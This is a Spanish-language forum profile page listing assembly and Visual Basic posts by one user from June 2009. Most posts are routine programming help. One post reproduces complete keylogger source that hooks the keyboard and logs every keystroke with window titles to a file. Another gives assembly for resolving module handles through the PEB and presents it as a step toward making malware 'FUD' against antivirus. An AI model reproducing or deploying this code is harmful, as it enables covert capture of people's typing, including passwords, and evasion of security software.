Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - YST

#431
ASM / Re: Te creamos tu función.
12 Junio 2009, 14:35 PM
Amerikano la función que pides no seria lo mismo que mi función cInstr
#432
ASM / Re: Te creamos tu función.
11 Junio 2009, 23:29 PM
Cita de: Eternal Idol en 11 Junio 2009, 09:14 AM
REGLAS DEL FORO ¡LEED TODOS!

B. Se pregunta por conceptos abstractos. Aquí no estamos para hacerle el trabajo a nadie
Estoy ablando de funciones que generalmente uno necesita obviamente si alguien pide una tarea no se la voy a hacer.

Saludos
#433
ASM / Te creamos tu función.
11 Junio 2009, 08:38 AM
Hola,
Creo este Post para ofrecerme a crear la función que necesites(de manejo de cadenas,etchivos,etc.. ), el formato para pedir una función es el siguiente

  • Sistema operativo
  • Lo que quieras que haga la función.
  • Parametros que le pases a la función


    PD: Todo el mundo pùede fabricar alguna función que se pida.
#434
ASM / Re: System("pause"); de C en ASM[DUDA]
11 Junio 2009, 07:07 AM
Respondo la duda de por que en .com y no  .exe , cuando pones el org 100h el FASM te fabrica un .com , si le pusieras format pe te produciria  un .exe si le pone un format pe dll te produce un .dll .
#435
Cita de: dlna en  6 Junio 2009, 07:16 AM
Cita de: YST en  1 Junio 2009, 19:55 PM
Cita de: Pein en  1 Junio 2009, 19:38 PM
Porque no es chincheta?

Saludos!
Por una estupides que yo hice :xD
que fue?

que el que si esta de post it, se me hace mas simple :S
Fue que no me gusto algo que hizo eternal y como cuando uno esta enojado hace estupideces .. borre todos los post.
#436
Cita de: abelillo76 en  3 Junio 2009, 18:21 PM
Cita de: llword93ll en  3 Junio 2009, 15:55 PM
algo podras sacar pero no cuentes con todo y menos se codifico el code  :o


Con que programa me recomendais para sacarlo?

El codigo de obttenerlo lo obtienes pero lo obtienes en ASM :xD , usa el ollydbg
#437
Algunas api's que puedes utilizar para el manejo de .ini son:
GetPrivateProfileString
WriteProfileString
WritePrivateProfileString
etc..
#438
Código (VB) [Seleccionar]

Option Explicit

'|||||||||||||||||||||||
'| |
'|Autor: Karcrack |
'|Fecha: 24/09/08 |
'| |
'|||||||||||||||||||||||

Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
Private Const WH_KEYBOARD_LL As Long = 13

Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Public Type KBDLLHOOKSTRUCT
VkCode As Long
ScanCode As Long
Flags As Long
Time As Long
DwExtraInfo As Long
End Type

Dim KBHook As Long
Dim KeyData As String
Dim lHwnd As Long

Public Sub ManageKeylogger(ByVal Enable As Boolean)
Select Case Enable
Case True
KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
Case False
Call UnhookWindowsHookEx(KBHook)
End Select
End Sub

Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
Dim KeyBoardHook As KBDLLHOOKSTRUCT

If nCode = 0 Then
CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook)
With KeyBoardHook
If .Flags = 0 Or .Flags = 1 Then
If SaveLog(TranslateKey(.VkCode)) > 50 Then
Call LogToFile(App.Path & "\\Log.log")
End If
End If
End With
Else
KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam)
End If
End Function

Private Function TranslateKey(ByVal KeyCode As Long) As String
Dim LngShift As Long

'Funcion optimizada para su uso en teclados españoles.

LngShift = GetAsyncKeyState(vbKeyShift)
If KeyCode >= 58 And KeyCode <= 90 Then
TranslateKey = IIf(LngShift 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
ElseIf KeyCode >= 96 And KeyCode = 112 And KeyCode <= 123 Then
TranslateKey = "{F" & KeyCode - 111 & "}"
Else
If KeyCode = 160 Then TranslateKey = ""
If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
If KeyCode = 32 Then TranslateKey = "{ESPACIO}"
If KeyCode = 27 Then TranslateKey = "{ESC}"
If KeyCode = 46 Then TranslateKey = "{DEL}"
If KeyCode = 36 Then TranslateKey = "{HOME}"
If KeyCode = 35 Then TranslateKey = "{END}"
If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
If KeyCode = 45 Then TranslateKey = "{PASTE}"
If KeyCode = 144 Then TranslateKey = "{NUM}"
If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
If KeyCode = 13 Then TranslateKey = "{ENTER}"
If KeyCode = 8 Then TranslateKey = "{BACK}"
If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
If KeyCode = 9 Then TranslateKey = "{TAB}"
If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
If KeyCode = 164 Then TranslateKey = "{ALT}"
If KeyCode = 165 Then TranslateKey = "{ALTGR}"
If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
If KeyCode = 188 Then TranslateKey = IIf(LngShift 0, ";", ",")
If KeyCode = 190 Then TranslateKey = IIf(LngShift 0, ":", ".")
If KeyCode = 189 Then TranslateKey = IIf(LngShift 0, "_", "-")
If KeyCode = 191 Then TranslateKey = IIf(LngShift 0, "'", "#")
If KeyCode = 187 Then TranslateKey = IIf(LngShift 0, "*", "+")
If KeyCode = 186 Then TranslateKey = IIf(LngShift 0, "Ü", "ü")
If KeyCode = 192 Then TranslateKey = IIf(LngShift 0, "Ö", "ö")
If KeyCode = 222 Then TranslateKey = IIf(LngShift 0, "Ä", "ä")
If KeyCode = 219 Then TranslateKey = IIf(LngShift 0, "?", "ß")
If KeyCode = 220 Then TranslateKey = IIf(LngShift 0, "°", "^")
If KeyCode = 48 Then TranslateKey = IIf(LngShift 0, "=", "0")
If KeyCode = 49 Then TranslateKey = IIf(LngShift 0, "!", "1")
If KeyCode = 50 Then TranslateKey = IIf(LngShift 0, """", "2")
If KeyCode = 51 Then TranslateKey = IIf(LngShift 0, "§", "3")
If KeyCode = 52 Then TranslateKey = IIf(LngShift 0, "$", "4")
If KeyCode = 53 Then TranslateKey = IIf(LngShift 0, "%", "5")
If KeyCode = 54 Then TranslateKey = IIf(LngShift 0, "&", "6")
If KeyCode = 55 Then TranslateKey = IIf(LngShift 0, "/", "7")
If KeyCode = 56 Then TranslateKey = IIf(LngShift 0, "(", "8")
If KeyCode = 57 Then TranslateKey = IIf(LngShift 0, ")", "9")
If KeyCode = 145 Then TranslateKey = "{ROLL}"
If KeyCode = 44 Then TranslateKey = "{PRINT}"
If KeyCode = 19 Then TranslateKey = "{PAUSE}"
If TranslateKey = "" And KeyCode 160 Then TranslateKey = KeyCode
End If
End Function

Public Function SaveLog(ByVal sKey As String) As Double
Dim aHwnd As Long
Dim WinText As String
aHwnd = GetForegroundWindow

If aHwnd lHwnd Then
lHwnd = aHwnd
WinText = String$(255, Chr$(0))
Call GetWindowText(aHwnd, WinText, Len(WinText))
WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1)

KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now() & "]" & vbCrLf
End If

KeyData = KeyData & sKey

SaveLog = Len(KeyData)
End Function

Public Sub LogToFile(ByVal sPath As String)
Open sPath For Binary As #1
Put #1, , KeyData
Close #1
End Sub
#439
Cita de: 50l3r en  2 Junio 2009, 20:08 PM
ordenadoritis jaja, la era de los sms :P

muchas gracias ya me funciona

por cierto nose porque en el cliente cuando lo cierro sigue estando el proceso ;/
Cuando quieras que finalizze ponle un
Código (VB) [Seleccionar]
end
#440
Es solo la idea para MrScript , sacas el handle de la ADVAPI usas mi función para sacar la posicion de las apisb y encriptas todas las cadenas con alguna macro , teoricamente deberia ser FUD :P .

Un code para sacar el handle

Código (ASM) [Seleccionar]

include 'win32ax.inc'

.code
start:
stdcall ASCIITOUNICODE,"ADVAPI32.dll",buffer
stdcall GetModuleHW,buffer
invoke GetModuleFileName,eax,buffer,MAX_PATH
invoke MessageBox,0,buffer,0,0
invoke ExitProcess,0
proc GetModuleHW,cName
push ebx edi esi
.if [cName] = 0
mov eax,dword [fs:18h]
mov eax,dword [eax+30h]
mov eax,dword [eax+8h]
jmp .salir
.endif
mov eax,[fs:30h]
mov eax,[eax+0Ch]
mov edi,[eax+10h]
mov esi,dword[edi+30h]
.siguiente:
mov ebx,dword[edi+30h]
invoke lstrcmpW,[cName],ebx
.if eax <> 0
mov edi,[edi+4h]
cmp esi,dword[edi+30h]
jne  .siguiente
jmp .salir
.endif
mov eax,dword[edi+18h]
jmp .salir
.error:
xor eax,eax
.salir:
pop edi ebx
ret
endp
proc ASCIITOUNICODE,Cadena,Buffer
push ecx ebx
mov  eax,[Cadena]
mov ebx,[Buffer]
dec eax
dec ebx
dec ebx
.bucle:
add eax,1
cmp byte[eax],0
je .salir
inc ebx
inc ebx
mov cl,byte[eax]
mov byte[ebx],cl
mov byte[ebx+1],0
jmp .bucle
.salir:
pop ebx ecx
ret
endp
.data
buffer rb MAX_PATH
.end start
section '.reloc' fixups data discardable